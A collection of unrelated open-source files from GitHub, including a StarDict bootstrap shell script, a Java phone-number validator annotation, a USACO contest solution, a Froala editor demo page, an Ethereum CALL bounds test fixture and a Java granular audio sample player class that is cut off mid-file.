BX_UNUSED(_handle, _lock);
}
}
int main(int _argc, const char* const* _argv)
{
using namespace entry;
return s_ctx.run(_argc, _argv);
}
#endif // BX_PLATFORM_EMSCRIPTEN
| {
"pile_set_name": "Github"
} |
#!/bin/sh
# Run this to generate all the initial makefiles, etc.
echo "Boostrapping StarDict dictionary..."
srcdir=`dirname $0`
test -z "$srcdir" && srcdir=.
PKG_NAME="stardict"
REQUIRED_AUTOMAKE_VERSION=1.9
(test -f $srcdir/configure.ac \
&& test -f $srcdir/ChangeLog \
&& test -d $srcdir/src) || {
echo -n "**Error**: Directory "\`$srcdir\'" does not look like the"
echo " top-level stardict directory"
exit 1
}
which gnome-autogen.sh || {
echo "You need to install gnome-common package"
exit 1
}
USE_GNOME2_MACROS=1 NOCONFIGURE=yes . gnome-autogen.sh "$@"
| {
"pile_set_name": "Github"
} |
User-agent: *
Allow: / | {
"pile_set_name": "Github"
} |
export default {
uid: '',
name: '',
description: '',
latitude: '',
longitude: '',
farm_type: '',
country: '',
city: '',
reservoirs: []
}
| {
"pile_set_name": "Github"
} |
package tech.tengshe789.miaosha.common.core.annotation;
import tech.tengshe789.miaosha.common.core.validator.IsMobileValidator;
import javax.validation.Constraint;
import java.lang.annotation.*;
/**
* @author tengshe789
*
* 判断手机号码格式的注解
*/
@Target({ElementType.METHOD, ElementType.FIELD, ElementType.ANNOTATION_TYPE, ElementType.CONSTRUCTOR, ElementType.PARAMETER})
@Retention(RetentionPolicy.RUNTIME)
@Documented
@Constraint(
validatedBy = {IsMobileValidator.class}
)
public @interface IsMobile {
//注解属性:声明是否需要注释依赖关系。
boolean required() default true;
//如果号码错误则返回信息"手机号码格式错误"
String message() default "手机号码格式错误";
/**
* 需要特殊判空的字段(预留)
*
* @return {}
*/
String[] field() default {};
}
| {
"pile_set_name": "Github"
} |
// #include<iostream>
#include<fstream>
#include<vector>
using namespace std;
//using namespace __gnu_pbds;
typedef long long ll;
typedef vector<int> vi;
typedef pair<int, int> pi;
//typedef tree<int,null_type,less<int>,rb_tree_tag,tree_order_statistics_node_update> ordered_set;
#define FOR(i, a, b) for (int i=a; i<b; i++)
#define F0R(i, a) for (int i=0; i<a; i++)
#define FORd(i,a,b) for (int i = (b)-1; i >= a; i--)
#define F0Rd(i,a) for (int i = (a)-1; i >= 0; i--)
#define mp make_pair
#define pb push_back
#define f first
#define s second
#define lb lower_bound
#define ub upper_bound
ifstream cin ("shufflegold.in");
ofstream cout ("shufflegold.out");
int N,M,Q;
int nex[100001]; // position of card after the Bessie shuffle
int pre[100001]; // reverse of nex
pi pos[100001];
vi cyc[100001];
int main() {
cin >> N >> M >> Q;
FOR(i,1,M+1) {
cin >> nex[i]; nex[i] --;
pre[nex[i]] = i;
}
int cur = 0, co = 0;
while (1) {
cyc[0].pb(cur);
pos[cur].s = co++;
if (cur == M) break;
cur = pre[cur];
}
FOR(i,1,M+1) if (pos[i].f == 0 && pos[i].s == 0) {
int cur = i, co = 0;
while (1) {
cyc[i].pb(cur); // store the cycles
pos[cur] = {i,co++};
cur = nex[cur];
if (cur == i) break;
}
}
// some cards keep cycling around until Bessie has less than M cards left
F0R(i,Q) {
int q; cin >> q; q = N+1-q;
if (q <= N-M+1) {
if (q >= cyc[0].size()) cout << cyc[0][cyc[0].size()-1]+q-(cyc[0].size()-1);
else cout << cyc[0][q];
} else {
int cur = q-(N-M+1);
if (pos[cur].f == 0) {
int c = pos[cur].s+N-M+1;
if (c < cyc[0].size()) cout << cyc[0][c];
else cout << cyc[0][cyc[0].size()-1]+c-(cyc[0].size()-1);
} else {
int c = pos[cur].f;
int ind = (pos[cur].s-(N-M+1)) % (int)cyc[c].size();
while (ind<0) ind += cyc[c].size();
cout << cyc[c][ind];
}
}
cout << "\n";
}
}
| {
"pile_set_name": "Github"
} |
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, height=device-height, initial-scale=1.0, maximum-scale=1.0" />
<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/4.4.0/css/font-awesome.min.css">
<link rel="stylesheet" href="../../css/froala_editor.css">
<link rel="stylesheet" href="../../css/froala_style.css">
<link rel="stylesheet" href="../../css/plugins/code_view.css">
<link rel="stylesheet" href="../../css/plugins/colors.css">
<link rel="stylesheet" href="../../css/plugins/emoticons.css">
<link rel="stylesheet" href="../../css/plugins/image_manager.css">
<link rel="stylesheet" href="../../css/plugins/image.css">
<link rel="stylesheet" href="../../css/plugins/line_breaker.css">
<link rel="stylesheet" href="../../css/plugins/table.css">
<link rel="stylesheet" href="../../css/plugins/char_counter.css">
<link rel="stylesheet" href="../../css/plugins/video.css">
<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/codemirror/5.3.0/codemirror.min.css">
<style>
body {
text-align: center;
}
div#editor {
width: 81%;
margin: auto;
text-align: left;
}
</style>
</head>
<body>
<div id="editor">
<div id='edit' style="margin-top: 30px;">
<h1>Full Page</h1>
<p>Using the <a href="https://www.froala.com/wysiwyg-editor/v2.0/docs/options#fullPage" title="fullPage option"
target="_blank">fullPage</a> option allows the usage of <code>HTML</code>, <code>HEAD</code>,
<code>BODY</code> tags and <code>DOCTYPE</code> declaration. Switch to Code view to see the HTML code.</p>
<img class="fr-fir fr-dii" src="../../img/photo1.jpg" alt="Old Clock" width="300" />Lorem <strong>ipsum</strong>
dolor sit amet, consectetur <strong>adipiscing <em>elit.</em> Donec</strong> facilisis diam in odio iaculis
blandit. Nunc eu mauris sit amet purus <strong>viverra</strong><em> gravida</em> ut a dui.<br />
<ul>
<li>Vivamus nec rutrum augue, pharetra faucibus purus. Maecenas non orci sagittis, vehicula lorem et, dignissim
nunc.</li>
<li>Suspendisse suscipit, diam non varius facilisis, enim libero tincidunt magna, sit amet iaculis eros libero
sit amet eros. Vestibulum a rhoncus felis.<ol>
<li>Nam lacus nulla, consequat ac lacus sit amet, accumsan pellentesque risus. Aenean viverra mi at urna
mattis fermentum.</li>
<li>Curabitur porta metus in tortor elementum, in semper nulla ullamcorper. Vestibulum mattis tempor tortor
quis gravida. In rhoncus risus nibh. Nullam condimentum dapibus massa vel fringilla. Sed hendrerit sed est
quis facilisis. Ut sit amet nibh sem. Pellentesque imperdiet mollis libero.</li>
</ol>
</li>
</ul>
<table style="width: 100%;">
<tr>
<td style="width: 25%;"></td>
<td style="width: 25%;"></td>
<td style="width: 25%;"></td>
<td style="width: 25%;"></td>
</tr>
<tr>
<td style="width: 25%;"></td>
<td style="width: 25%;"></td>
<td style="width: 25%;"></td>
<td style="width: 25%;"></td>
</tr>
</table>
<a href="http://google.com" title="Aenean sed hendrerit">Aenean sed hendrerit</a> velit. Nullam eu mi dolor.
Maecenas et erat risus. Nulla ac auctor diam, non aliquet ante. Fusce ullamcorper, ipsum id tempor lacinia, sem
tellus malesuada libero, quis ornare sem massa in orci. Sed dictum dictum tristique. Proin eros turpis, ultricies
eu sapien eget, ornare rutrum ipsum. Pellentesque eros nisl, ornare nec ipsum sed, aliquet sollicitudin erat.
Nulla tincidunt porta <strong>vehicula.</strong>
</div>
</div>
<script type="text/javascript"
src="https://cdnjs.cloudflare.com/ajax/libs/codemirror/5.3.0/codemirror.min.js"></script>
<script type="text/javascript"
src="https://cdnjs.cloudflare.com/ajax/libs/codemirror/5.3.0/mode/xml/xml.min.js"></script>
<script type="text/javascript" src="../../js/froala_editor.min.js"></script>
<script type="text/javascript" src="../../js/plugins/align.min.js"></script>
<script type="text/javascript" src="../../js/plugins/code_beautifier.min.js"></script>
<script type="text/javascript" src="../../js/plugins/code_view.min.js"></script>
<script type="text/javascript" src="../../js/plugins/colors.min.js"></script>
<script type="text/javascript" src="../../js/plugins/draggable.min.js"></script>
<script type="text/javascript" src="../../js/plugins/emoticons.min.js"></script>
<script type="text/javascript" src="../../js/plugins/font_size.min.js"></script>
<script type="text/javascript" src="../../js/plugins/font_family.min.js"></script>
<script type="text/javascript" src="../../js/plugins/image.min.js"></script>
<script type="text/javascript" src="../../js/plugins/image_manager.min.js"></script>
<script type="text/javascript" src="../../js/plugins/line_breaker.min.js"></script>
<script type="text/javascript" src="../../js/plugins/link.min.js"></script>
<script type="text/javascript" src="../../js/plugins/lists.min.js"></script>
<script type="text/javascript" src="../../js/plugins/paragraph_format.min.js"></script>
<script type="text/javascript" src="../../js/plugins/paragraph_style.min.js"></script>
<script type="text/javascript" src="../../js/plugins/table.min.js"></script>
<script type="text/javascript" src="../../js/plugins/video.min.js"></script>
<script type="text/javascript" src="../../js/plugins/url.min.js"></script>
<script type="text/javascript" src="../../js/plugins/entities.min.js"></script>
<script type="text/javascript" src="../../js/plugins/char_counter.min.js"></script>
<script type="text/javascript" src="../../js/plugins/inline_style.min.js"></script>
<script type="text/javascript" src="../../js/plugins/save.min.js"></script>
<script>
(function () {
new FroalaEditor("#edit", {
fullPage: true
})
})()
</script>
</body>
</html> | {
"pile_set_name": "Github"
} |
{
"CALL_Bounds3_d0g0v0" : {
"blocks" : [
{
"blockHeaderPremine" : {
"difficulty" : "0x020000",
"gasLimit" : "0x7fffffffffffffff",
"timestamp" : "0x03e8",
"updatePoW" : "1"
},
"transactions" : [
{
"data" : "0x",
"gasLimit" : "0x0249f0",
"gasPrice" : "0x01",
"nonce" : "0x00",
"r" : "0xa8d69db5cc7b988975447a2e77fa471a04e8738915df60767b3104a95bf95c1a",
"s" : "0x30d6d7f9cd259c5937c46412312a382eabaf62794a7f6d6183891f864057feec",
"to" : "0x1000000000000000000000000000000000000000",
"v" : "0x1b",
"value" : "0x01"
}
],
"uncleHeaders" : [
]
}
],
"expect" : [
{
"network" : "Byzantium",
"result" : {
"0x1000000000000000000000000000000000000000" : {
"balance" : "0x00"
},
"0x1000000000000000000000000000000000000001" : {
"storage" : {
}
}
}
},
{
"network" : "Constantinople",
"result" : {
"0x1000000000000000000000000000000000000000" : {
"balance" : "0x00"
},
"0x1000000000000000000000000000000000000001" : {
"storage" : {
}
}
}
},
{
"network" : "ConstantinopleFix",
"result" : {
"0x1000000000000000000000000000000000000000" : {
"balance" : "0x00"
},
"0x1000000000000000000000000000000000000001" : {
"storage" : {
}
}
}
}
],
"genesisBlockHeader" : {
"bloom" : "00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000",
"coinbase" : "2adc25665018aa1fe0e6bc666dac8fc2697ff9ba",
"difficulty" : "131072",
"extraData" : "0x42",
"gasLimit" : "0x7fffffffffffffff",
"gasUsed" : "0",
"mixHash" : "0x56e81f171bcc55a6ff8345e692c0f86e5b48e01b996cadc001622fb5e363b421",
"nonce" : "0x0102030405060708",
"number" : "0",
"parentHash" : "0x0000000000000000000000000000000000000000000000000000000000000000",
"receiptTrie" : "0x56e81f171bcc55a6ff8345e692c0f86e5b48e01b996cadc001622fb5e363b421",
"stateRoot" : "0xf99eb1626cfa6db435c0836235942d7ccaa935f1ae247d3f1c21e495685f903a",
"timestamp" : "0x03b6",
"transactionsTrie" : "0x56e81f171bcc55a6ff8345e692c0f86e5b48e01b996cadc001622fb5e363b421",
"uncleHash" : "0x1dcc4de8dec75d7aab85b567b6ccd41ad312451b948a7413f0a142fd40d49347"
},
"pre" : {
"0x1000000000000000000000000000000000000000" : {
"balance" : "0x00",
"code" : "0x67ffffffffffffffff600067ffffffffffffffff600060007310000000000000000000000000000000000000016707fffffffffffffff1506fffffffffffffffffffffffffffffffff60006fffffffffffffffffffffffffffffffff600060007310000000000000000000000000000000000000016707fffffffffffffff1507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff60007fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff600060007310000000000000000000000000000000000000016707fffffffffffffff15063ffffffff63ffffffff63ffffffff63ffffffff60007310000000000000000000000000000000000000016707fffffffffffffff15067ffffffffffffffff67ffffffffffffffff67ffffffffffffffff67ffffffffffffffff60007310000000000000000000000000000000000000016707fffffffffffffff1506fffffffffffffffffffffffffffffffff6fffffffffffffffffffffffffffffffff6fffffffffffffffffffffffffffffffff6fffffffffffffffffffffffffffffffff60007310000000000000000000000000000000000000016707fffffffffffffff1507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff60007310000000000000000000000000000000000000016707fffffffffffffff1",
"nonce" : "0x00",
"storage" : {
}
},
"0x1000000000000000000000000000000000000001" : {
"balance" : "0x00",
"code" : "0x600054600101600055",
"nonce" : "0x00",
"storage" : {
}
},
"0xa94f5374fce5edbc8e2a8697c15331677e6ebf0b" : {
"balance" : "0xffffffffffffffffffffffffffffffffffffffffffffffffffffff",
"code" : "",
"nonce" : "0x00",
"storage" : {
}
}
},
"sealEngine" : "NoProof"
}
} | {
"pile_set_name": "Github"
} |
/*
* This file is part of Beads. See http://www.beadsproject.net for all information.
*/
package net.beadsproject.beads.ugens;
import java.util.ArrayList;
import java.util.Iterator;
import java.util.LinkedList;
import java.util.List;
import net.beadsproject.beads.core.AudioContext;
import net.beadsproject.beads.core.Bead;
import net.beadsproject.beads.core.UGen;
import net.beadsproject.beads.data.Buffer;
import net.beadsproject.beads.data.Sample;
import net.beadsproject.beads.data.SampleManager;
import net.beadsproject.beads.data.buffers.CosineWindow;
/**
* FastGranularSamplePlayer functions exactly the same as {@link GranularSamplePlayer} but trades off variable automation functionality to reduce
* computational costs and allow for more instances to be run simultaneously. As with GranularSamplePlayer, it inherits its main behaviour
* from {@link SamplePlayer} but replaces the direct {@link Sample} lookup with a granular process. {@link UGen}s can be used to control
* playback rate, pitch, loop points, grain size, grain interval, grain randomness and position (this last case assumes that the playback
* rate is zero).
*
* @see SamplePlayer Sample
*/
public class FastGranularSamplePlayer extends SamplePlayer {
/** The pitch envelope. */
private UGen pitchEnvelope;
/** The grain interval envelope. */
private float grainIntervalEnvelope;
/** The grain size envelope. */
private float grainSizeEnvelope;
/** The randomness envelope. */
private float randomnessEnvelope;
/** The time in milliseconds since the last grain was activated. */
private float timeSinceLastGrain;
/** The starting point of the loop as a float. */
private float loopStart;
/** The starting point of the loop as a float. */
private float loopEnd;
/** The length of one sample in milliseconds. */
private double msPerSample;
/** The pitch, bound to the pitch envelope. */
protected float pitch;
/** The list of current grains. */
private LinkedList<Grain> grains;
/** A list of free grains. */
private LinkedList<Grain> freeGrains;
/** The window used by grains. */
private Buffer window;
/** Flag to determine whether, looping occurs within individual grains. */
private boolean loopInsideGrains;
/**
* The nested class Grain. Stores information about the start time, current position, age, and grain size of the grain.
*/
private static class Grain {
/** The position in millseconds. */
double position;
/** The age of the grain in milliseconds. */
double age;
/** The grain size of the grain. Fixed at instantiation. */
double grainSize;
/** The grain's position in the buffer */
int bufferPointer;
}
/**
* Instantiates a new GranularSamplePlayer.
*
* @param context the AudioContext.
* @param outs the number of outputs.
*/
public FastGranularSamplePlayer(AudioContext context, int outs) {
super(context, outs);
grains = new LinkedList<Grain>();
freeGrains = new LinkedList<Grain>();
pitchEnvelope = new Static(context, 1f);
setGrainInterval(new Static(context, 70.0f));
setGrainSize(new Static(context, 100.0f));
setRandomness(new Static(context, 0.0f));
setWindow(new CosineWindow().getDefault());
msPerSample = context.samplesToMs(1f);
loopInsideGrains = false;
}
/**
* Instantiates a new GranularSamplePlayer.
*
* @param outs the number of outputs.
*/
public FastGranularSamplePlayer(int outs) {
this(getDefaultContext(), outs);
}
/**
* Instantiates a new GranularSamplePlayer.
*
* @param context the AudioContext.
* @param buffer the Sample played by the GranularSamplePlayer.
*/
public FastGranularSamplePlayer(AudioContext context, Sample buffer) {
this(context, buffer.getNumChannels());
setSample(buffer);
loopStart = 0.0f;
loopEnd = (float)buffer.getLength();
}
/**
* Instantiates a new GranularSamplePlayer.
*
* @param buffer the Sample played by the GranularSamplePlayer.
*/
public FastGranularSamplePlayer(Sample buffer) {
this(getDefaultContext(), buffer);
}
/**
* Gets the rate envelope.
*
* @deprecated use {@link #getRateUGen()} instead.
*
* @return the rate envelope.
*/
@Deprecated
public UGen getRateEnvelope() {
return new Static(rate);
}
/**
* Gets the rate value as a UGen.
*
* @return the rate UGen.
*/
public UGen getRateUGen() {
return new Static(rate);
}
/**
* Sets the rate envelope.
*
* @deprecated use {@link #setRate(float)} instead.
*
* @param rateEnvelope
* the new rate envelope.
*/
@Deprecated
public void setRateEnvelope(UGen rateEnvelope) {
rateEnvelope.update();
this.rate = rateEnvelope.getValue();
}
/**
* Sets the rate to the UGen's current value.
* For better performance, use {@link #setRate(float)}
*
* @param rateUGen
* the new rate UGen.
*/
public void setRate(UGen rateUGen) {
rateUGen.update();
this.rate = rateUGen.getValue();
}
/**
* Sets the rate.
*
* @param rate
* the new rate.
*/
public void setRate(float rate) {
this.rate = rate;
}
/**
* Gets the pitch envelope.
*
* @deprecated use {@link #getPitchUGen()}.
* @return the pitch envelope.
*/
@Deprecated
public UGen getPitchEnvelope() {
return pitchEnvelope;
}
/**
* Gets the pitch value as a UGen.
*
* @return the pitch UGen.
*/
public UGen getPitchUGen() {
return pitchEnvelope;
}
/**
* Sets the pitch envelope.
*
* @deprecated Use {@link #setPitch(UGen)} instead.
*
* @param pitchEnvelope
* the new pitch envelope.
*/
@Deprecated
public void setPitchEnvelope(UGen pitchEnvelope) {
pitchEnvelope.update();
this.pitchEnvelope = pitchEnvelope;
}
/**
* Sets the pitch to the UGen's value.
*
* @param pitchUGen
* the new pitch Ugen.
*/
public void setPitch(UGen pitchUGen) {
pitchUGen.update();
this.pitchEnvelope = pitchUGen;
}
/**
* Gets the loop end envelope.
*
* @deprecated Use {@link #getLoopEndUGen()} instead.
*
* @return the loop end envelope.
*/
@Deprecated
public UGen getLoopEndEnvelope() {
return new Static(loopEnd);
}
/**
* Gets the loop end value as a UGen.
*
* @return the loop end UGen.
*/
public UGen getLoopEndUGen() {
return new Static(loopEnd);
}
/**
* Sets the loop end envelope.
*
* @deprecated Use {@link #setLoopEnd(float)} instead.
*
* @param loopEndEnvelope
* the new loop end envelope.
*/
@Deprecated
public void setLoopEndEnvelope(UGen loopEndEnvelope) {
loopEndEnvelope.update();
this.loopEnd = loopEndEnvelope.getValue();
}
/**
* Sets the loop end to the UGen's value.
* For better performance, use {@link #setLoopEnd(float)} instead.
*
* @param loopEndUGen
* the new loop end UGen.
*/
public void setLoopEnd(UGen loopEndUGen) {
loopEndUGen.update();
this.loopEnd = loopEndUGen.getValue();
}
/**
* Sets the loop end.
*
* @param loopEnd
* the new loop end.
*/
public void setLoopEnd(float loopEnd) {
this.loopEnd = loopEnd;
}
/**
* Gets the loop start envelope.
*
* @deprecated Use {@link #getLoopStartUGen()} instead.
* @return the loop start envelope
*/
@Deprecated
public UGen getLoopStartEnvelope() {
return new Static(loopStart);
}
/**
* Gets the loop start value as a UGen.
*
* @return the loop start UGen
*/
public UGen getLoopStartUGen() {
return new Static(loopStart);
}
/**
* Sets the loop start envelope.
*
* @deprecated Use {@link #setLoopStart(float)} instead.
*
* @param loopStartEnvelope
* the new loop start envelope.
*/
@Deprecated
public void setLoopStartEnvelope(UGen loopStartEnvelope) {
loopStartEnvelope.update();
this.loopStart = loopStartEnvelope.getValue();
}
/**
* Sets the loop start as the UGen's value.
* For better performance, use {@link #setLoopStart(float)} instead.
*
* @param loopStartUGen
* the new loop start UGen.
*/
public void setLoopStart(UGen loopStartUGen) {
loopStartUGen.update();
this.loopStart = loopStartUGen.getValue();
}
/**
* Sets the loop start.
*
* @param loopStart
* the new loop start.
*/
public void setLoopStart(float loopStart) {
this.loopStart = loopStart;
}
/**
* Sets both loop points to static values as fractions of the Sample length,
* overriding any UGens that were controlling the loop points.
*
* @param start
* the start value, as fraction of the Sample length.
* @param end
* the end value, as fraction of the Sample length.
*/
public void setLoopPointsFraction(float start, float end) {
loopStart = start * (float) sample.getLength();
loopEnd = end * (float) sample.getLength();
}
/**
* Gets the grain interval envelope.
*
* @deprecated Use {@link #getGrainIntervalUGen()} instead.
*
* @return the grain interval envelope.
*/
@Deprecated
public UGen getGrainIntervalEnvelope() {
return new Static(grainIntervalEnvelope);
}
/**
* Gets the grain interval as a UGen.
*
* @return the grain interval UGen.
*/
public UGen getGrainInterval() {
return new Static(grainIntervalEnvelope);
}
/**
* Sets the grain interval envelope.
*
* @deprecated Use {@link #setGrainInterval(float)} instead.
*
* @param grainIntervalEnvelope
* the new grain interval envelope.
*/
@Deprecated
public void setGrainIntervalEnvelope(UGen grainIntervalEnvelope) {
grainIntervalEnvelope.update();
this.grainIntervalEnvelope = grainIntervalEnvelope.getValue();
}
/**
* Sets the grain interval as the UGen's value.
* For better performance, use {@link #setGrainInterval(float)} instead.
*
* @param grainIntervalUGen
* the new grain interval UGen.
*/
public void setGrainInterval(UGen grainIntervalUGen) {
grainIntervalUGen.update();
this.grainIntervalEnvelope = grainIntervalUGen.getValue();
}
/**
* Sets the grain interval.
*
* @param grainInterval
* the new grain interval.
*/
public void setGrainInterval(float grainInterval) {
this.grainIntervalEnvelope = grainInterval;
}
/**
* Gets the grain size envelope.
*
* @deprecated Use {@link #getGrainSizeUGen()} instead.
*
* @return the grain size envelope.
*/
@Deprecated
public UGen getGrainSizeEnvelope() {
return new Static(grainSizeEnvelope);
}
/**
* Gets the grain size as a UGen.
*
* @return the grain size UGen.
*/
public UGen getGrainSize() {
return new Static(grainSizeEnvelope);
}
/**
* Sets the grain size envelope.
*
* @deprecated Use {@link #setGrainSize(float)} instead.
*
* @param grainSizeEnvelope the new grain size envelope.
*/
@Deprecated
public void setGrainSizeEnvelope(UGen grainSizeEnvelope) {
grainSizeEnvelope.update();
this.grainSizeEnvelope = grainSizeEnvelope.getValue();
}
/**
* Sets the grain size as the UGen's value.
* For better performance, use {@link #setGrainSize(float)} instead.
*
* @param grainSizeUGen the new grain size UGen.
*/
public void setGrainSize(UGen grainSizeUGen) {
grainSizeUGen.update();
this.grainSizeEnvelope = grainSizeUGen.getValue();
}
/**
* Sets the grain size.
*
* @param grainSize the new grain size.
*/
public void setGrainSize(float grainSize) {
this.grainSizeEnvelope = grainSize;
}
public Buffer getWindow() {
return window;
}
public void setWindow(Buffer window) {
this.window = window;
}
/**
* Gets the randomness envelope.
*
* @deprecated Use {@link #getRandomnessUGen()} instead.
*
* @return the randomness envelope.
*/
@Deprecated
public UGen getRandomnessEnvelope() {
return new Static(randomnessEnvelope);
}
/**
* Gets the randomness as a UGen.
*
* @return the randomness UGen.
*/
public UGen getRandomness() {
return new Static(randomnessEnvelope);
}
/**
* Sets the randomness envelope.
*
* @deprecated Use {@link #setRandomness(float)} instead.
*
* @param randomnessEnvelope the new randomness envelope.
*/
@Deprecated
public void setRandomnessEnvelope(UGen randomnessEnvelope) {
randomnessEnvelope.update();
this.randomnessEnvelope = randomnessEnvelope.getValue();
}
/**
* Sets the randomness as the UGen's value.
* For better performance, use {@link #setRandomness(float)} instead.
*
* @param randomnessUGen the new randomness UGen.
*/
public void setRandomness(UGen randomnessUGen) {
randomnessUGen.update();
this.randomnessEnvelope = randomnessUGen.getValue();
}
/**
* Sets the randomness.
*
* @param randomness the new randomness value.
*/
public void setRandomness(float randomness) {
this.randomnessEnvelope = randomness;
}
/**
* @deprecated Use {@link #setSample(Sample)} instead.
*/
@Deprecated
public synchronized void setBuffer(Sample buffer) {
super.setSample(buffer);
grains.clear();
timeSinceLastGrain = 0f;
}
/* (non-Javadoc)
* @see net.beadsproject.beads.ugens.SamplePlayer#setBuffer(net.beadsproject.beads.data.Sample)
*/
public synchronized void setSample(Sample buffer) {
super.setSample(buffer);
grains.clear();
timeSinceLastGrain = 0f;
}
/* (non-Javadoc)
* @see com.olliebown.beads.core.UGen#start()
*/
@Override
public void start() {
super.start();
timeSinceLastGrain = 0;
}
/**
* Sets the given Grain to start immediately.
*
* @param g
* the grain
*/
private void resetGrain(Grain g, int bufferPointer) {
g.position = position + grainSizeEnvelope * randomnessEnvelope * (Math.random() * 2.0 - 1.0);
g.age = 0f;
g.grainSize = grainSizeEnvelope;
g.bufferPointer = bufferPointer;
}
@Override
public void reset() {
super.reset();
firstGrain = true;
}
/** Flag to indicate special case for the first grain. */
private boolean firstGrain = true;
/** Special case method for playing first grain. */
private void firstGrain() {
if(firstGrain) {
Grain g = new Grain();
g.position = position;
g.age = grainSizeEnvelope / 4f;
g.grainSize = grainSizeEnvelope;
grains.add(g);
firstGrain = false;
timeSinceLastGrain = grainIntervalEnvelope / 2f;
g.bufferPointer = 0;
}
}
/* (non-Javadoc)
* @see com.olliebown.beads.ugens.SamplePlayer#calculateBuffer()
*/
@Override
public synchronized void calculateBuffer() {
//special condition for first grain
//update the various envelopes
if(sample != null) {
if(positionEnvelope != null) {
positionEnvelope.update();
}
pitchEnvelope.update();
firstGrain();
//now loop through the buffer and calculate the required grains
for (int i = 0; i < bufferSize; i++) {
//determine if we need a new grain
if (timeSinceLastGrain > grainIntervalEnvelope) {
Grain g = null;
if(freeGrains.size() > 0) {
g = freeGrains.pollFirst();
} else {
g = new Grain();
}
resetGrain(g, i);
grains.add(g);
timeSinceLastGrain = 0f;
}
//for mono channel, start by resetting current output frame
bufOut[0][i] = 0.0f;
//increment time and stuff
calculateNextPosition(i);
//increment timeSinceLastGrain
timeSinceLastGrain += msPerSample;
}
//gather the output from each grain
Iterator<Grain> currentGrain = grains.iterator();
while (currentGrain.hasNext()) {
//calculate value of grain window
Grain g = currentGrain.next();
pitch = Math.abs(pitchEnvelope.getValue(0, g.bufferPointer));
while (g.age <= g.grainSize) {
float windowScale = window.getValueFraction((float)(g.age / g.grainSize));
//get position in sample for this grain
//get the frame for this grain
switch (interpolationType) {
case ADAPTIVE:
if(pitch > ADAPTIVE_INTERP_HIGH_THRESH) {
sample.getFrameNoInterp(g.position, frame);
} else if(pitch > ADAPTIVE_INTERP_LOW_THRESH) {
sample.getFrameLinear(g.position, frame);
} else {
sample.getFrameCubic(g.position, frame);
}
break;
case LINEAR:
sample.getFrameLinear(g.position, frame);
break;
case CUBIC:
sample.getFrameCubic(g.position, frame);
break;
case NONE:
sample.getFrameNoInterp(g.position, frame);
break;
}
//add it to the current output frame
bufOut[0][g.bufferPointer++] += windowScale * frame[0 % sample.getNumChannels()];
//if grain's buffer position exceeds bufferSize,
//exit loop at start at index 0 of next buffer.
if (g.bufferPointer >= bufferSize) {
g.bufferPointer = 0;
break;
}
//increment time and stuff
pitch = Math.abs(pitchEnvelope.getValue(0, g.bufferPointer));
calculateNextGrainPosition(g);
}
//see if this grain is dead
if (g.age > g.grainSize) {
freeGrains.add(g);
currentGrain.remove();
}
}
}
}
/**
* Calculate next position for the given Grain.
*
* @param g the Grain.
*/
private void calculateNextGrainPosition(Grain g) {
int direction = rate >= 0 ? 1 : -1; //this is a bit odd in the case when controlling grain from positionEnvelope
g.age += msPerSample;
if(loopInsideGrains) {
switch(loopType) {
case NO_LOOP_FORWARDS:
g.position += direction * positionIncrement * pitch;
break;
case NO_LOOP_BACKWARDS:
g.position -= direction * positionIncrement * pitch;
break;
case LOOP_FORWARDS:
g.position += direction * positionIncrement * pitch;
if(rate > 0 && g.position > Math.max(loopStart, loopEnd)) {
g.position = Math.min(loopStart, loopEnd);
} else if(rate < 0 && g.position < Math.min(loopStart, loopEnd)) {
g.position = Math.max(loopStart, loopEnd);
}
break;
case LOOP_BACKWARDS:
g.position -= direction * positionIncrement * pitch;
if(rate > 0 && g.position < Math.min(loopStart, loopEnd)) {
g.position = Math.max(loopStart, loopEnd);
} else if(rate < 0 && g.position > Math.max(loopStart, loopEnd)) {
g.position = Math.min(loopStart, loopEnd);
}
break;
case LOOP_ALTERNATING:
g.position += direction * (forwards ? positionIncrement * pitch : -positionIncrement * pitch);
if(forwards ^ (rate < 0)) {
if(g.position > Math.max(loopStart, loopEnd)) {
g.position = 2 * Math.max(loopStart, loopEnd) - g.position;
}
} else if(g.position < Math.min(loopStart, loopEnd)) {
g.position = 2 * Math.min(loopStart, loopEnd) - g.position;
}
break;
}
} else {
g.position += direction * positionIncrement * pitch;
}
}
/**
* Used at each sample in the perform routine to determine the next playback
* position.
*
* @param i
* the index within the buffer loop.
*/
@Override
protected void calculateNextPosition(int i) {
if (positionEnvelope != null) {
position = positionEnvelope.getValueDouble(0, i);
} else {
switch (loopType) {
case NO_LOOP_FORWARDS:
position += positionIncrement * rate;
if (position > sample.getLength() || position < 0)
atEnd();
break;
case NO_LOOP_BACKWARDS:
position -= positionIncrement * rate;
if (position > sample.getLength() || position < 0)
atEnd();
break;
case LOOP_FORWARDS:
position += positionIncrement * rate;
if (rate > 0 && position > Math.max(loopStart, loopEnd)) {
position = Math.min(loopStart, loopEnd);
} else if (rate < 0 && position < Math.min(loopStart, loopEnd)) {
position = Math.max(loopStart, loopEnd);
}
break;
case LOOP_BACKWARDS:
position -= positionIncrement * rate;
if (rate > 0 && position < Math.min(loopStart, loopEnd)) {
position = Math.max(loopStart, loopEnd);
} else if (rate < 0 && position > Math.max(loopStart, loopEnd)) {
position = Math.min(loopStart, loopEnd);
}
break;
case LOOP_ALTERNATING:
position += forwards ? positionIncrement * rate
: -positionIncrement * rate;
if (forwards ^ (rate < 0)) {
if (position > Math.max(loopStart, loopEnd)) {
forwards = (rate < 0);
position = 2 * Math.max(loopStart, loopEnd) - position;
}
} else if (position < Math.min(loopStart, loopEnd)) {
forwards = (rate > 0);
position = 2 * Math.min(loopStart, loopEnd) - position;
}
break;
}
}
}
/**
